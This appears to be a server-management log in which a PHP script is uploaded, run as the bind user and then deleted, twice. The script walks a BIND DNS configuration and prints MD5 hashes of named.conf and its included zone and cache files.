MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:50:02: Establishing a connection
2026-04-25 18:50:02: 

PUT: /tmp/pkp878947

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:50:02: 

runuser -l bind -s /bin/bash -c '/tmp/pkp878947; rm /tmp/pkp878947'

2026-04-25 18:50:02: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.conf)= 6d9f91ae56d5a7f7248f94166e23d7c5
MD5(/var/cache/bind/cf381d1fff06090b5818429e32e6000e.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-25 18:50:32: Establishing a connection
2026-04-25 18:50:32: 

PUT: /tmp/pkp514314

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-25 18:50:32: 

runuser -l bind -s /bin/bash -c '/tmp/pkp514314; rm /tmp/pkp514314'

2026-04-25 18:50:32: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= ea9a0be66a36e076d7c3b9ce4ace025c
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
